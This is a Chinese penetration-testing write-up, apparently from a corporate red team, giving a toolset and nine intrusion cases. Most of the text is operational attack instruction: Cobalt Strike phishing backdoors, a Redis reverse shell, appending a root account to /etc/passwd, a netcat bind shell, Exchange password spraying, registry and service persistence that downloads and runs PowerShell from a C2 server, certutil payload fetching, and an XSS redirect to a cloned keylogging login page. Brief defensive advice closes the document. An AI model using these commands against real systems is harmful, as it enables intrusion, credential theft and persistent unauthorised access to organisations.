2019-10-09 10:50:1520148人阅读
常用工具
Cobaltstrike3.1.2(生成后门,权限维持,钓鱼邮件伪造)
Behinder_v2.0.1 (类似菜刀,流量加密绕过waf等)
dirsearch(目录探测扫描)
proxychains (Kali linux自带代理工具)
御剑(端口扫描工具)
163邮箱爆破脚本、Exchange爆破工具MailSniper
Zoomeye,搜索公司主域名或公司名称关键字
Sqlmap注入工具
Layer(Seay写的子域名收集爆破工具)
子域名在线收集工具
https://dns.bufferover.run/dns?q=.google.com
常用CVE漏洞
Redis未授权访问漏洞
通达OA /general/vmeet/wbupload.php任意文件上传漏洞
致远A8 任意文件写入漏洞
用友报表系统未授权访问+暴力破解+发送消息任意文件上传
永恒之蓝(尝试过,未成功)
暂未使用的工具
CrackMapExec(域后渗透工具) https://github.com/byt3bl33d3r/CrackMapExec
使用过编译好的Windows版本。
Empire(内网渗透工具,集合了丰富的内网渗透Powershell脚本) https://github.com/EmpireProject/Empire
Ridrelay一款用于在内网中快速查找域用户名的工具
Smbmap(域内samba共享枚举爆破工具)
Impacket(Python类库,包含多种协议的访问探测脚本) https://github.com/CoreSecurity/impacket
PowerSploit(Powershell攻击脚本集合,信息收集、权限提升、权限维持) https://github.com/PowerShellMafia/PowerSploit
SubDomainSniper(子域名探测收集Win平台工具) https://xz.aliyun.com/t/2051
案例
0x01,钓鱼攻击
信息收集获取了邮箱帐号和密码,使用CS进行钓鱼邮件的伪造和群发,细节:
1、创建Listeners;
2、attacker生成exe的后门木马;
3、使用钓鱼邮件发送功能,配置邮件模版,伪造邮件发件人,加载后门木马,配置smtp发件服务器;
4、被攻击机器中招之后,使用CS中的Sock4 server功能,创建代理;
5、Windows机器使用proxifier代理工具,配置代理和代理规则,规则设置通向目标某个网段的流量走代理,可以在内网进行横向拓展渗透。
0x02,利用漏洞
某个后台存在设计缺陷,通过修改response看到后台的前端URL链接,其中某处存在目录跳转读取漏洞,发现了xxxx_phpmyadmin的后台,访问发现帐号为root,密码为空,从而利用phpmyadmin写入了shell,后续详情:
1、利用冰蝎客户端执行cs生成的powershell后门;
2、获取到反弹回来的session之后,使用sock4代理;
3、windows机器较多,所以用御剑低频率内网刺探445端口,尝试利用永恒之蓝
4、metasploit利用永恒之蓝ms17_010未成功,猜测跟目标是windows server 2012有关;
5、metasploit是在内网,因此使用了kali中的proxychain来设置代理到CS生成的代理服务器,得以可以对内网的目标进行漏洞利用。
0x03,信息收集+Redis
利用信息收集获取了VPN帐号和密码,进入内网之后,使用御剑进行网段redis服务器的探测,然后利用redis未授权漏洞写计划任务反弹shell。
1、御剑端口扫描,redis未授权访问漏洞利用;
2、外网netcat监听端口获取反弹shell,redis root权限;
3、直接粗暴的使用增加root权限帐号的方式来维持权限,遇到了无useradd、adduser的情况,解决方法如下:
新增帐号
echo "xxx:x0:0:xxx:/home/s1ma:/bin/bash">> /etc/passwd
设置密码
echo '帐号密码'|passwd --stdin 用户名
0x04,无法访问内网的目标如何3389
拿到某个webshell之后,是system权限,使用getpwd读取了到了管理的密码。本来想使用CS来获取一个Session,从而将目标设置为socket代理来对其内网网段进行扫描拓展的,但是最后发现目标无法访问外网。因此只能尝试连接3389,看是否有其它方法,以ReDuh为例,具体如下:
1、使用ReDuh,直接上传ReDuh到webshell同级目录;
2、本地使用reDuhclient执行命令:
java -jar reDuhClient.jar http://www.target.com/reDuh.php
3、然后在自己的电脑继续用nc连接1010端口,方法如下:
nc -vv localhost 1010
4、之后就可以在nc连接成功的地方执行绑定端口的相关命令如:
[createTunnel]1234:192.168.2.2:3389
其中1234是自己电脑的端口,ip地址是被攻击目标的内网ip地址,也可以是被攻击目标同网段的ip地址,3389是其远程桌面的端口
5、然后mstsc打开远程桌面,直接127.0.0.1:1234即可连接目标。
0x05,可持续性后门
对于无法访问外网的目标,建立可以持续性的后门,主要是创建正向的shellcode,虽然有被防火墙组织访问的可能性,如metasploit就可以创建此类的shellcode。也可以使用nc,相关方法如下:
1、在被攻击机器上执行如下命令:
nc -lvp 4444 -e /bin/bash
监听4444端口,等其它机器连接之后,返回一个bash shell
2、然后用个人电脑直接连接nc 192.168.2.1 4444,当目标无法访问外网的情况下,需要继续配合reDuh进行,在这个案例中,可以如下:
[createTunnel]4321:192.168.2.1:4444
然后直接nc 127.0.0.1 4321
0x06,MailSniper的使用
获取到了一个可登录的邮箱帐号和密码,对方的邮件服务器是用exchange搭建的,可尝试使用MailSniper进行进一步的信息收集。
1、获取更多的邮箱通讯录,命令
cmd中执行
powershell -exec bypass
Import-Module .\mailsniper.ps1
然后就可以使用该工具中的方法了,获取通讯录:
Get-GlobalAddressList -ExchHostname mail.target.cn -UserName zhangrui -Password 1qaz2wsx -OutFile address-list.txt -ExchangeVersion Exchange2007_SP1
其中需要注意的是,最好使用ExchangeVersion来指定版本,否则可能会报错
2、进行邮箱的暴力破解,实际上awvs也是可以的,不过测试发现该工具效率高
Invoke-PasswordSprayEWS -ExchHostname mail.target.cn -UserList .\username.txt -Password 1qaz2wsx -Threads 10 -OutFile .\success-address-list.txt -ExchangeVersion Exchange2007_SP1
需要注意的是,有可能会锁死帐号,所以只使用了一个单独的密码,而不是用Passlist来指定密码字典。
0x07,权限维持相关
使用CS生成钓鱼邮件,当目标打开钓鱼邮件中的附件,CS获取session之后,往往决定能否更长时间的控制“肉鸡”,取决于手速,以及权限的维持技术。
尝试过的靠谱的方法如下:
#CS自带uoload命令上传生成的后门
upload
#在客户机器上执行命令,将上传的system64.exe加入到启动项
shell reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "E:\Download\systemx64.exe" /f
遇到过加入启动项失败的情况,有时候是因为权限,有时候可能是因为防火墙之类的。尝试过如下方法:
先执行命令加入注册表:
shell reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "E:\Download\00-Now\systemx64.exe" /f
然后再执行copy将后门拷贝到上条命令中所指的路径位置
权限维持应该有很多姿势,有机会亲测可用的就上面这种,还有如下方法:
sc create "Windows Power" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.0.0.1:801/a'))\""
新增一个服务,指向CS生成的Powershell命令,从CS控制端下载后门
0x08,XSS漏洞盲打后台HttpOnly情况下配合CS的姿势
1、盲打一波,可能会获取到后台的具体的url访问路径;
2、当后台外网可访问的时候,使用CS的clone功能,生成钓鱼用及可记录键盘的钓鱼网站,具体方法如下:
Attacks--Web Drive by--System Profiler
Local URI随意填写
Redirect URL 填写要克隆的网站具体url,此案例中是后台的登录界面
然后开始克隆网站
Attacks--Web Drive by--Clone Site
Clone URL 填写要克隆的后台地址
Local URI 填写具体的登录uri,如/login/index.php
Attack选择上一步生成的System Profiler
Log Keystrokes on cloned site 选中
3、第二步生成好URL之后,就可以使用如下代码盲打了
<script type="text/javascript">window.location.href="http://111.111.111.111/app/login.jsp";</script>
当管理登录后台访问到盲打到的页面时,会自动跳转到我们伪造的后台钓鱼页面,缺乏安全意识的管理可能会忽略域名的不对,继续进行登录,然后在CS weblog中会看到记录的键盘输入。
0x09,webshell反弹session到CS快速命令
获取webshell之后,最好的方式是反弹个CS的session来继续进行渗透,相关命令如下:
certutil.exe -urlcache -split -f http://111.222.0.0:8080/1.txt
需要补充弥补的地方
1、提前准备好装有各种工具、环境的win10、kali linux虚拟机;
2、物理机也需要准备好各种环境的安全包;
3、完善漏洞利用工具,如redis、通达oa、泛微oa等漏洞自动化利用;
4、信息收集还需要进一步自动化来实现,c段扩展扫描对外开放的服务端口,有80的打印标题方便快速判断是否是目标;
5、进入内网之后的,小巧且快速的可访问网段及存活主机的筛选判断,并且需要对存活主机进行端口探测扫描;
6、测试确认CS session或者钓鱼获取的Session如何能更好的维持权限;
7、如何快速从Windows机器上收集用户的浏览器访问记录、记住的密码等敏感信息文件。
甲方安全建设需要关注的点
1、办公网网段划分及可访问idc的权限控制;
2、办公网流量分析,能快速发现钓鱼中招后的机器进行内网扫描的行为;
3、办公网段的蜜罐部署;
4、钓鱼邮件的防范。
本文由百度安全原创,作者SiemPent Team,转载请注明来源及原文链接